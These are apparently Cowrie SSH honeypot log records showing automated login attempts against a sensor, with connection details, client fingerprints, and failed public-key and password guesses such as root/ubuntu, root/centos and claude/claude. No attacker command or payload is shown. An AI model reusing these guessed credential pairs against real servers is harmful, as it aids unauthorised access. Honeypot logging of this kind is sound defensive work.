{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:77:82:fa:0d:08:b1:4d:d0:eb:74:1f:bc:e5:86:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZmEpBnuPbySDJ5F1L5zpLDEMLyr0n4SR3tvrWBk0CMoOcMeg/ReL65H6rdnhRL22Z9E4mp58f0BCoVtaL//2bUwPKxuww6p40W1sMCM2BN6ihKkC1V4umAYjFMbzRiTBSpSmboy/3AgYguO5fJKTptrJMrHU8rjJ83OFgKadc4siQ1Hu/QFw77HNP9Umvj7cX0KkqRewhN8f+EgAJW+9I/IFM1iLN5/YxOZsTCE7JxdoX7ScisUq1kmaoVYeWg/R3TEDbY7J+rl1MiyP0BUHkR2trLXGTn2QZQeL/eYLjpNEwLASMl4jZsRSp96GokfLbWKIwLaSpw1FH0XcO+ZTF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:77:82:fa:0d:08:b1:4d:d0:eb:74:1f:bc:e5:86:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.582976Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:77:82:fa:0d:08:b1:4d:d0:eb:74:1f:bc:e5:86:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZmEpBnuPbySDJ5F1L5zpLDEMLyr0n4SR3tvrWBk0CMoOcMeg/ReL65H6rdnhRL22Z9E4mp58f0BCoVtaL//2bUwPKxuww6p40W1sMCM2BN6ihKkC1V4umAYjFMbzRiTBSpSmboy/3AgYguO5fJKTptrJMrHU8rjJ83OFgKadc4siQ1Hu/QFw77HNP9Umvj7cX0KkqRewhN8f+EgAJW+9I/IFM1iLN5/YxOZsTCE7JxdoX7ScisUq1kmaoVYeWg/R3TEDbY7J+rl1MiyP0BUHkR2trLXGTn2QZQeL/eYLjpNEwLASMl4jZsRSp96GokfLbWKIwLaSpw1FH0XcO+ZTF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.586704Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:5e:70:c1:19:fc:2d:b8:9d:19:cd:4d:8b:17:9b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyxuDr8CHsoQ3P58xBFmQpERhU9E0iH83RKHn0tAKwzDr2HbKOGhEpxWWA6lhuAxKgIe8wR/tfQ044RK+tp+TIcTsasVH2T8ItksOF2ShwNGJYzMas7j3O765ZduEeIaVEJPHzV96XN/9WGdRlJ6HaBo0K2HIE2+m/TxjorW+kWISnaH6Mvl87kWMY6Hz1MIEkgrWDNC1Ji421TNGPzllgJgvOowUxrZuhYEJPzGYwsAVTUuPwcv804UsWc7+bGQBlgztxmAb765xr3qRT/kBXE0kT+ENsdp5R3BIwot0Jezyfwy04ypNoD7WUA3sMbCbfTZktIA6nmbn/u6aljOJB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:5e:70:c1:19:fc:2d:b8:9d:19:cd:4d:8b:17:9b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.716955Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:5e:70:c1:19:fc:2d:b8:9d:19:cd:4d:8b:17:9b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyxuDr8CHsoQ3P58xBFmQpERhU9E0iH83RKHn0tAKwzDr2HbKOGhEpxWWA6lhuAxKgIe8wR/tfQ044RK+tp+TIcTsasVH2T8ItksOF2ShwNGJYzMas7j3O765ZduEeIaVEJPHzV96XN/9WGdRlJ6HaBo0K2HIE2+m/TxjorW+kWISnaH6Mvl87kWMY6Hz1MIEkgrWDNC1Ji421TNGPzllgJgvOowUxrZuhYEJPzGYwsAVTUuPwcv804UsWc7+bGQBlgztxmAb765xr3qRT/kBXE0kT+ENsdp5R3BIwot0Jezyfwy04ypNoD7WUA3sMbCbfTZktIA6nmbn/u6aljOJB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.722043Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:97:e1:c6:c7:03:36:98:62:14:6b:04:d4:6d:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4DkF66eDGl6GkcS8FLglAaMqpDXXJ9vO18kVAThTLZ21wGacMqYprOWjmcI9GsitHXkuiizgxVJGL/n8C7hhiJRIXXQH/RTDonHb0L68+5MCftgsnhcN7RVoM5A9+D0+YabMB28hlaDZs/z/2Nxd2jg/PbtSwkV20w7nhiGbQdYqdGuGXZuY+6kLwk6Zmpt4vWpaPDDKc96E1acSSod7yfLaXrc0qTiY8KJ3FoDv9u76GDnFK7PcJD2eunYMlwWorTpMlq7HRPRKKhlOtnAsidgwPx1IF7O5fb9SG7BJjo5dG0E6MVvxbbpgemIzrGUuF4h9INpMKK13klIJFsGJn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:97:e1:c6:c7:03:36:98:62:14:6b:04:d4:6d:c0:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.852308Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:97:e1:c6:c7:03:36:98:62:14:6b:04:d4:6d:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4DkF66eDGl6GkcS8FLglAaMqpDXXJ9vO18kVAThTLZ21wGacMqYprOWjmcI9GsitHXkuiizgxVJGL/n8C7hhiJRIXXQH/RTDonHb0L68+5MCftgsnhcN7RVoM5A9+D0+YabMB28hlaDZs/z/2Nxd2jg/PbtSwkV20w7nhiGbQdYqdGuGXZuY+6kLwk6Zmpt4vWpaPDDKc96E1acSSod7yfLaXrc0qTiY8KJ3FoDv9u76GDnFK7PcJD2eunYMlwWorTpMlq7HRPRKKhlOtnAsidgwPx1IF7O5fb9SG7BJjo5dG0E6MVvxbbpgemIzrGUuF4h9INpMKK13klIJFsGJn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.856119Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:1b:96:fc:af:e9:2e:a4:08:d9:e2:52:70:4e:05:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl9DuFcB+BjLhVLrcnRTUACF/t+mHwXW7x0ZWqYSnk6AKPTmR80Za35da4bQkAwSuItpnYdyE4S405f9q12/7f61Re6TQpYWJdymZRgI7QD+9VUS31/AaWQyRGm4KJr8z0Plu9tbAP/CoS+xo6qyuiBMpScm/20lCSqBBs7gktcEcMeelMY97WFJ/+xP1oK0Ui2alHt86obttQzrf0yyLbjltKlzEy5TyaRd1gP3v66Ofe+trsDFbXhvPCX5bIrKlWtzSojAYEv63BpZsoKbcdvqhHoDUC4W1CzSPP17iNcCMFZWaccgjo4RIxjnfBRT133KkMADdKuDghD1+xL0bhSOZqE24rs2XeZRAp99XWsNSnBdbUAxeQAovznI/ESXKBTHG3GKkFPp1initSdbc4SbAcJTrIqiVCWzoxn1jlvFTGIK/wlvZc/OY7251ps5BsnohxjefOUCoA1m5pt9jqGc1dew4XywMNyFI1/kgkRSxyuSrBvhVCz++JUTPT9OohcaIN4ZiUgxnkuBn++VN3xQzpCssYL8OG7v5zE4uFgYlPY0UXmTwhkSX4RVDHT6s7RywHf2X+B8Kj7jYK0Ydnkg/2lunKAfa5KLxbYpVeclvIJrusFT4FkuzbcZ3OsO2+rT14z4T9SauIDA4MPuqrjeIHlouVaGyldwdZHqzz1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:1b:96:fc:af:e9:2e:a4:08:d9:e2:52:70:4e:05:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.986530Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:1b:96:fc:af:e9:2e:a4:08:d9:e2:52:70:4e:05:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl9DuFcB+BjLhVLrcnRTUACF/t+mHwXW7x0ZWqYSnk6AKPTmR80Za35da4bQkAwSuItpnYdyE4S405f9q12/7f61Re6TQpYWJdymZRgI7QD+9VUS31/AaWQyRGm4KJr8z0Plu9tbAP/CoS+xo6qyuiBMpScm/20lCSqBBs7gktcEcMeelMY97WFJ/+xP1oK0Ui2alHt86obttQzrf0yyLbjltKlzEy5TyaRd1gP3v66Ofe+trsDFbXhvPCX5bIrKlWtzSojAYEv63BpZsoKbcdvqhHoDUC4W1CzSPP17iNcCMFZWaccgjo4RIxjnfBRT133KkMADdKuDghD1+xL0bhSOZqE24rs2XeZRAp99XWsNSnBdbUAxeQAovznI/ESXKBTHG3GKkFPp1initSdbc4SbAcJTrIqiVCWzoxn1jlvFTGIK/wlvZc/OY7251ps5BsnohxjefOUCoA1m5pt9jqGc1dew4XywMNyFI1/kgkRSxyuSrBvhVCz++JUTPT9OohcaIN4ZiUgxnkuBn++VN3xQzpCssYL8OG7v5zE4uFgYlPY0UXmTwhkSX4RVDHT6s7RywHf2X+B8Kj7jYK0Ydnkg/2lunKAfa5KLxbYpVeclvIJrusFT4FkuzbcZ3OsO2+rT14z4T9SauIDA4MPuqrjeIHlouVaGyldwdZHqzz1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:58.990190Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:54:c3:2f:77:8b:26:31:b3:95:64:67:b5:26:2e:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTUWjHKfu/Mvsf3AOUi5ub/j/feHEYQ1mE8Ti31/lTVeNLaFzIjmtjlJ+PSMltqm6sU3baHau2FZfcjOLPviHWzkFACDU/k0rZG6//fBtZLsHLLyrwiUCLd7I1R541jTZHaFpWCTiEfJTzfMpTnB7o8V1ZGpqWBQNSPQRzpU60XHI3QzOXPlZZEt9ROXGUjR09UljqoW4Jhs++HXw2m38zm5D0tY2BGLvN3epxyKsiXpMgjm0SfaGl5CtJzMDUPT5ErXuitFKZGSGmdgDG0/7Sitwr7pLpct8dGqz1duvG4jVk+L5VXxDnd7bipoH4xbLyBp7rgz9/WC2LvUWTF/8J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:54:c3:2f:77:8b:26:31:b3:95:64:67:b5:26:2e:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:59.117625Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:54:c3:2f:77:8b:26:31:b3:95:64:67:b5:26:2e:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTUWjHKfu/Mvsf3AOUi5ub/j/feHEYQ1mE8Ti31/lTVeNLaFzIjmtjlJ+PSMltqm6sU3baHau2FZfcjOLPviHWzkFACDU/k0rZG6//fBtZLsHLLyrwiUCLd7I1R541jTZHaFpWCTiEfJTzfMpTnB7o8V1ZGpqWBQNSPQRzpU60XHI3QzOXPlZZEt9ROXGUjR09UljqoW4Jhs++HXw2m38zm5D0tY2BGLvN3epxyKsiXpMgjm0SfaGl5CtJzMDUPT5ErXuitFKZGSGmdgDG0/7Sitwr7pLpct8dGqz1duvG4jVk+L5VXxDnd7bipoH4xbLyBp7rgz9/WC2LvUWTF/8J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:59.121667Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:55:59.250829Z","src_ip":"102.129.186.87","session":"87a281408352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":47548,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6506839c75","protocol":"ssh","message":"New connection: 103.210.22.17:47548 (159.203.135.109:22) [session: af6506839c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:13.438886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:13.443698Z","src_ip":"103.210.22.17","session":"af6506839c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:13.665777Z","src_ip":"103.210.22.17","session":"af6506839c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:14.941413Z","src_ip":"103.210.22.17","session":"af6506839c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:16.166583Z","src_ip":"103.210.22.17","session":"af6506839c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":51228,"dst_ip":"159.203.135.109","dst_port":22,"session":"00c4c830fb76","protocol":"ssh","message":"New connection: 103.210.22.17:51228 (159.203.135.109:22) [session: 00c4c830fb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:16.388850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:16.394808Z","src_ip":"103.210.22.17","session":"00c4c830fb76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:16.617621Z","src_ip":"103.210.22.17","session":"00c4c830fb76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:17.291966Z","src_ip":"103.210.22.17","session":"00c4c830fb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:18.517196Z","src_ip":"103.210.22.17","session":"00c4c830fb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":54374,"dst_ip":"159.203.135.109","dst_port":22,"session":"a47a2cdd3237","protocol":"ssh","message":"New connection: 103.210.22.17:54374 (159.203.135.109:22) [session: a47a2cdd3237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:18.721673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:18.730280Z","src_ip":"103.210.22.17","session":"a47a2cdd3237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:18.948500Z","src_ip":"103.210.22.17","session":"a47a2cdd3237","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:19.595484Z","src_ip":"103.210.22.17","session":"a47a2cdd3237","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:20.815833Z","src_ip":"103.210.22.17","session":"a47a2cdd3237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.210.22.17","src_port":57846,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf56d62abae","protocol":"ssh","message":"New connection: 103.210.22.17:57846 (159.203.135.109:22) [session: baf56d62abae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:21.033696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:21.039941Z","src_ip":"103.210.22.17","session":"baf56d62abae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":52792,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f4680da2f0","protocol":"ssh","message":"New connection: 79.3.96.178:52792 (10.17.0.5:22) [session: 89f4680da2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:34.597836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:34.603224Z","src_ip":"79.3.96.178","session":"89f4680da2f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:34.741279Z","src_ip":"79.3.96.178","session":"89f4680da2f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:35.324333Z","src_ip":"79.3.96.178","session":"89f4680da2f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:56:36.465092Z","src_ip":"79.3.96.178","session":"89f4680da2f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46150,"dst_ip":"10.17.0.5","dst_port":22,"session":"802b9836320a","protocol":"ssh","message":"New connection: 185.236.22.41:46150 (10.17.0.5:22) [session: 802b9836320a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:06.529372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:06.581161Z","src_ip":"185.236.22.41","session":"802b9836320a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:57:06.673490Z","src_ip":"185.236.22.41","session":"802b9836320a","protocol":"ssh"}
